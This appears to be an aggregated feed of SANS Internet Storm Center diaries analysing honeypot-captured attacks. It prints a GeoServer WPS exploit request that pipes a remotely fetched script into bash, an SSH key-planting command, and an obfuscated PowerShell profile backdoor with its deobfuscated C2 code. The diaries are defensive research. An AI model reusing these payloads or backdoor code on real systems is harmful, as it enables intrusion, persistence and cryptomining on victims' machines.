SANS

Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 27 perc 57 másodperc
2023. június 13.

ISC Stormcast For Tuesday, June 13th, 2023 https://isc.sans.edu/podcastdetail/8536, (Tue, Jun 13th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2023. június 12.

Geoserver Attack Details: More Cryptominers against Unconfigured WebApps, (Mon, Jun 12th)

Last week, I noted increased scans against "GeoServer" [1]. GeoServer is an open-source Java application with a simple web-based interface to share geospatial data like maps [2]. 

I followed our usual playbook of redirecting these scans to an instance of GeoServer. Geoserver had a few vulnerabilities in the past. I installed an older version of GeoServer to verify if the vulnerability was exploited.  However, it looks like a vulnerability wasn't necessary. Instead, similar to what we have seen with NiFi recently, the attacker is just using a built-in code execution feature, and the default install, as deployed by me, did not require credentials.

GeoServer was installed in a docker container, which prevented any actual execution of the attack code. The container did not provide tools like curl to download additional payload. Instead, I downloaded the payloads later manually.

Soon after I configured the honeypot, several exploit requests arrived from %%ip:109.237.96.251%%. These requests took advantage of the Web Processing Server (WPS). I highlighted some of the relevant features in the request below:

POST /geoserver/wms HTTP/1.1
Host: [honeypot ip address]:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 2261
Content-Type: application/xml
Accept-Encoding: gzip
 

<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<wps:DataInputs>
<wps:Input>
<ows:Identifier>coverage</ows:Identifier>
<wps:Data>
<wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]></wps:ComplexData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>script</ows:Identifier>
<wps:Data>
<wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","(curl -s 45.138.157.202/ge.sh||wget -q -O- 45.138.157.202/ge.sh)|bash"}).getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>outputType</ows:Identifier>
<wps:Data>
<wps:LiteralData>DOUBLE</wps:LiteralData>
</wps:Data>
</wps:Input>
</wps:DataInputs>
<wps:ResponseForm>
<wps:RawDataOutput mimeType="image/tiff">
<ows:Identifier>result</ows:Identifier>
</wps:RawDataOutput>
</wps:ResponseForm>
</wps:Execute>

The request uses the "Execute" operation, which can be used to "perform the process with specified input values and required output data items" [3]. The "bash" request is pretty simple; it uses curl to retrieve and execute additional code. 

Due to the restrictions of the docker install of GeoServer, the execution failed, and the following response was returned:

<?xml version="1.0" encoding="UTF-8"?>
<wps:ExecuteResponse xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:xlink="http://www.w3.org/1999/xlink" xml:lang="en" service="WPS" serviceInstance="http://[honeypot ip address]:8080/geoserver/ows?" version="1.0.0">
<wps:Process wps:processVersion="1.0.0">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<ows:Title>Jiffle map algebra</ows:Title>
<ows:Abstract>Map algebra powered by Jiffle</ows:Abstract></wps:Process>
<wps:Status creationTime="2023-06-09T04:18:57.977Z"><wps:ProcessFailed><ows:ExceptionReport version="1.1.0"><ows:Exception exceptionCode="NoApplicableCode"><ows:ExceptionText>

Process failed during execution
java.lang.ExceptionInInitializerError - found curl/etc/kinsingwget is curl -not found /dev/etc/kinsing not exists/etc/kinsing after download exists and checked/etc/libsystem.so not exists/etc/libsystem.so after download not exists/etc/libsystem.so after download2 not exists
Running as root
</ows:ExceptionText></ows:Exception></ows:ExceptionReport></wps:ProcessFailed></wps:Status></wps:ExecuteResponse>

Looking at "ge.sh" reveals a script almost identical to the "ni.sh" script I wrote about concerning the attacks against NiFi. Both scripts use the same host (%%ip:185.122.204.197%%) to retrieve the ni.sh or the ge.sh script. Taking a look at other scans from related IPs, it looks like they are also attempting to exploit a Confluence/Nashorn issue [4].

The goal for all of these attacks appears to be to install the "kinsing" crypto miner.

[1] https://isc.sans.edu/diary/Ongoing%20scans%20for%20Geoserver/29926
[2] https://geoserver.org/
[3] https://docs.geoserver.org/stable/en/user/services/wps/operations.html#execute
[4] https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2023. június 12.

ISC Stormcast For Monday, June 12th, 2023 https://isc.sans.edu/podcastdetail/8534, (Mon, Jun 12th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2023. június 11.

DShield Honeypot Activity for May 2023 , (Sun, Jun 11th)

It is always interesting to review what my DShield honeypot has stored the previous month, what is also interesting is how the activity vary from week to week. Beside the graph, it is the Top 10 IPs for May.

This is the month of May Top 15 commands. 

The first command in this list is to check what kind of system they have access too using uname -a. This command gives the actor all the information about the system including the OS, name of system, uptime, etc. 

The next command delete the .ssh directory, recreate it and add its own SSH public key to .ssh in authorized_keys to allow access to the system. According to this article [1], this apparently belong to the "Outlaw Hacking Group" which was first identified by TrendMicro in 2018.

 cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

What is interesting about this series of Linux command, it was seen only for the first 18 days of May. The activty was seen again on the 7 June.

The next group of commands chattr and lockr to remove any attribute that can prevent the overwriting the the .ssh hidden file. These commands aren't part of the DShield honeypot. This next command cat /proc/cpuinfo | grep name | wc -l list the number of processors. This last one is looking at the memory on this system: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

This is the Top 5 script and executable uploaded for the month of May. The first two are binaries and the last three are scripts which are well known and listed in Virustotal. The first three are related the Mirai and the last 2 are IRCbot and downloader.

May 2023 Indicator of Compromised

The number of the right is the number of times the file was uploaded to the honeypot:

e4cc9a566e92fd87c00dfe2398f93b7badd2110cb712145e344e20aa0ddc6457 - 326
a2c2a58995a8d79c4af92a7117d9c3ba5eb2e3b0600a5871b81558fcd7aeb97b - 34
818675ba09b4883e57790aff9a79669275dfe088d02dc5f5cf459b16375d17db - 13
595a0565461528e335b8a4c3e93f305bec04089c04a641c233e28a26ffca40d6 - 4
7aae334219ed0d7af2eaff729050ae2fc1bdf2c286fdc8a00be39c8f4907ff19 - 4

[1] https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/
[2] https://otx.alienvault.com/indicator/file/b2469af4217d99b16a4b708aa29af0a60edeec3242078f42fa03b8eaf285d657
[3] https://www.geeksforgeeks.org/chattr-command-in-linux-with-examples/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2023. június 9.

Undetected PowerShell Backdoor Disguised as a Profile File, (Fri, Jun 9th)

PowerShell remains an excellent way to compromise computers. Many PowerShell scripts found in the wild are usually obfuscated. Most of the time, this helps to have the script detected by fewer antivirus vendors. Yesterday, I found a script that scored 0/59 on VT! Let’s have a look at it.

The file was found with the name « Microsoft.PowerShell_profile.ps1 ». The attacker nicely selected this name because this is a familiar name used by Microsoft to manage PowerShell profiles[1]. You may compare this to the « .bashrc » on Linux. It’s a way to customize your environment. Everything you launch a PowerShell, it will look for several locations, and if a file is found, it will execute it. Note that it’s also an excellent way to implement persistence because the malicious code will be re-executed every time a new PowerShell is launched. It’s listed as T1546.013[2] in the MITRE framework.

Let’s reverse the script (SHA256: a3d265a0ab00466aab978d0ccf94bb48808861b528603bddead6649eea7c0d16). When opened in a text editor, we can see that it is heavily obfuscated:

$mkey = "hxlksmxfcmspgnhf"; $srv = "AAwYG0lCV1daXV1BU0BbUUZKWF5JVUhWUw=="; $cmp = "CggGEgkeExAGCRwKCQ0aEQ=="; $bSDvRdgFlcnAwxj = @(24,'r','','IHwgb3V0LW51bGwKJHBzLkFkZEFyZ3V','',21,'d',([int](("94UmlEWn459UmlEWn686UmlEWn786UmlEWn10UmlEWn22UmlEWn633UmlEWn666UmlEWn701UmlEWn553" -split "UmlEWn")[5])),([int](("650Wmugo21Wmugo835Wmugo417Wmugo906Wmugo812Wmugo286Wmugo749Wmugo960Wmugo29" -split "Wmugo")[9])),([int](("419Gm370Gm388Gm238Gm2Gm902Gm197Gm582Gm305Gm133" -split "Gm")[4])),([string](("pTOikLyVWRMBZLkLyqgzIlWkLyLQOKkLyDjwiHkLyDQtofyikLyoKkLynbKDLukLyYBtQkLyTFkmtvQbI" -split "kLy")[6])),([string](("ulxwNSBGgYFDhZCbGgYFDhZLMQxkZGgYFDhZoafQGZyGgYFDhZwjysVfDOGgYFDhZcWPBAJfZRGgYFDhZHpzWCeiGgYFDhZSxpjbwIsGgYFDhZCFsGgYFDhZg" -split "GgYFDhZ")[([int](("9kdIhpwlnjWt689kdIhpwlnjWt878kdIhpwlnjWt775kdIhpwlnjWt965kdIhpwlnjWt828kdIhpwlnjWt529kdIhpwlnjWt957kdIhpwlnjWt917kdIhpwlnjWt224" -split "kdIhpwlnjWt")[0]))])),46,'tV','Ut',33,'VudFN0YXRlID0gIlNUQSIKJHJz',([int](("41rVCGBZ17rVCGBZ230rVCGBZ879rVCGBZ163rVCGBZ152rVCGBZ7rVCGBZ190rVCGBZ91rVCGBZ800" -split "rVCGBZ")[0])),27,([string](("vRUuwlkhDgkhjBTkhCYbTUGxkhskkhrefJkhmPESOhykhoWkhn.AmsikhmQkLRonvi" -split "kh")

Note the presence of the three variables at the top of the file.

The obfuscation technique is pretty good: Arrays of interesting strings are created but split using random strings. The last line of the script is very long passed to an Invoke-Expression. To speed up the analysis, you can replace the IEX with a simple echo to print the deobfuscated code:

[Scriptblock]$script = { param($mkey, $srv, $cmp) function ConvertFrom-JSON20([object] $item){ ... return ,$ps_js.DeserializeObject($item); } function xor($data, $key){ ... return $xordData } function Main{ $enc = [System.Text.Encoding]::UTF8 $srv = [System.Convert]::FromBase64String($srv) $srv = xor $srv $mkey $srv = $enc.getString($srv) $cmp = [System.Convert]::FromBase64String($cmp) $cmp = xor $cmp $mkey $cmp = $enc.getString($cmp) $enc = [System.Text.Encoding]::UTF8 $UUID = (get-wmiobject Win32_ComputerSystemProduct).uuid; $xorkey = $enc.GetBytes($cmp) $data = xor $enc.GetBytes($UUID) $xorkey; $web = New-Object System.Net.WebClient; while($true){ try{ $res = $web.UploadData("$srv/$cmp", $data);break }catch{ if($_.exception -match '(404)'){exit} } Start-Sleep -s 60; } $res = xor $res $cmp $res = $enc.GetString($res); $res = ConvertFrom-JSON20($res); $script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($res.script)); $script = [Scriptblock]::Create($script); Invoke-Command -ScriptBlock $script -ArgumentList $res.args; } Main } $rs = [runspacefactory]::CreateRunspace() $rs.ApartmentState = "STA" $rs.ThreadOptions = "ReuseThread" $rs.Open() $rs.SessionStateProxy.SetVariable("h",$host) $ps = [PowerShell]::Create() $ps.Runspace = $rs $ps.AddScript($script) | out-null $ps.AddArgument($mkey) | out-null $ps.AddArgument($srv) | out-null $ps.AddArgument($cmp) | out-null $res = $ps.BeginInvoke()

The script creates a script-block and executes a runspace[3]. The script will try to contact a C2 server and submit the system UUID, probably to create the "bot" on the C2 side. The C2 address is generated via the three passed parameters (on top of the script):

The C2 will return JSON data that will contain interesting data:

{   "script": "...",   "args": [   "http://190.14.37.245:8000",   "bpjyzskvedozncrw", "<RSAKeyValue>...<\/RSAKeyValue>",   "<RSAKeyValue>...<\/RSAKeyValue>",   15   ] }

A second script is returned (Base64 encoded) with the same C2 address (I presume it could be another one and some encryption-related material. What's the purpose of "bpjyzskvedozncrw"? It's the campaign ID has it is described in the next-stage script:

param( [string]$server_url, [string]$campaign_id, [string]$RSAPanelPubKey, [string]$RSABotPrivateKey, [int]$polling_interval ) function ConvertTo-JSON20 { ... } function ConvertFrom-JSON20([object] $item){ ... } function Is-VM { ... } function Encrypt-Data{ ... } function Decrypt-Data{ ... } function Get-SystemInfo { ... } function Start-RunspaceDisposer($jobs){ ... } function Add-Log{ ... } function Run-Module{ ... } function main{ $UUID = (get-wmiobject Win32_ComputerSystemProduct).uuid; $mtx = New-Object System.Threading.Mutex($false, $uuid); $mtx.WaitOne() $jobs = [system.collections.arraylist]::Synchronized((New-Object System.Collections.ArrayList)) Start-RunspaceDisposer $jobs $runningtasks = [hashtable]::Synchronized(@{}) $logs = [system.collections.arraylist]::Synchronized((New-Object System.Collections.ArrayList)) while($true){ try{ $web = New-Object Net.WebClient; $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_}); $data = @{UUID = $UUID; campaign_id = $campaign_id}; $data = $data | ConvertTo-JSON20; $data = Encrypt-Data -data $data; $res = $web.UploadData("$server_url/$random_path", $data); if(!$res){ $systeminfo = Get-SystemInfo; $data = @{UUID = $UUID; systeminfo = $systeminfo; campaign_id = $campaign_id}; $data = $data | ConvertTo-JSON20; $data = Encrypt-Data -data $data; $web.UploadData("$server_url/$random_path", $data); Start-Sleep -s 3; continue; } $res = Decrypt-Data -data $res; $res = [System.Text.Encoding]::UTF8.GetString($res).Trim([char]0); $res = ConvertFrom-JSON20($res); $url_id = $res.url_id; while($true){ $url = "$server_url/$url_id"; $task = $web.DownloadData($url); $task = Decrypt-Data -data $task; $task = [System.Text.Encoding]::UTF8.GetString($task).Trim([char]0); $task = ConvertFrom-JSON20($task); if($task.task_id -and $task.scriptname){ $task_id = $task.task_id $scriptname = $task.scriptname try{ if(!($task.scriptname -eq 'hbr' -and $task.type -eq 'run')){ $task_report = @{UUID = $UUID; task_id = $task_id; status = 'running'}; $task_report = $task_report | ConvertTo-JSON20; $task_report = Encrypt-Data -data $task_report; $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_}); $web.UploadData("$server_url/$random_path", $task_report); } }catch{ #write-host $_.exception } if($task.type -eq 'run'){ $script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($task.script)); $scriptblock = [Scriptblock]::Create($script); if($task.background){ $runningtasks.$scriptname = @{'exit'=$false} Run-Module $scriptblock $task.args $jobs $runningtasks $logs $task_id $scriptname } else{ Run-Module $scriptblock $task.args $jobs $null $logs $task_id $scriptname if($scriptname -eq 'remove'){start-sleep -s 30; exit} } } elseif($task.type -eq 'kill'){ if($runningtasks.ContainsKey($scriptname)){ $runningtasks.$scriptname.exit = $true $runningtasks.remove($scriptname) } try{ $task_report = @{UUID = $UUID; task_id = $task_id; status = 'completed'}; $task_report = $task_report | ConvertTo-JSON20; $task_report = Encrypt-Data -data $task_report; $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_}); $web.UploadData("$server_url/$random_path", $task_report); }catch{ #write-host $_.exception } } } $logsToProcess = @() while($logs.count -gt 0){ $logsToProcess += $logs[0] $logs.RemoveAt(0) } if($task.debug -and $logsToProcess.Count -gt 0){ try{ $data = @{'logs'=$logsToProcess; 'uuid'=$UUID} $data = $data | ConvertTo-JSON20 $data = Encrypt-Data -data $data; $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_}); $web.UploadData("$server_url/$random_path", $data) | Out-Null; }catch{ #write-host $_.exception } } $url_id = $task.url_id; [System.GC]::Collect(); Start-Sleep -s $task.polling_interval; } } catch{ [System.GC]::Collect(); Start-Sleep -s $polling_interval; } } $mtx.ReleaseMutex(); $mtx.Dispose(); } main

The script uses the same technique and runs its code inside another runspace. It enters an infinite loop, waiting for some commands from the C2 server:

While writing this diary, the C2 server (%%ip:190.14.37.254%%) is still alive. I started a honeypot to capture all details from a potential attempt to use my system. I'm now waiting for some activity...

[1] https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.3
[2] https://attack.mitre.org/techniques/T1546/013/
[3] https://devblogs.microsoft.com/scripting/beginning-use-of-powershell-runspaces-part-1/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2023. június 9.

ISC Stormcast For Friday, June 9th, 2023 https://isc.sans.edu/podcastdetail/8532, (Fri, Jun 9th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.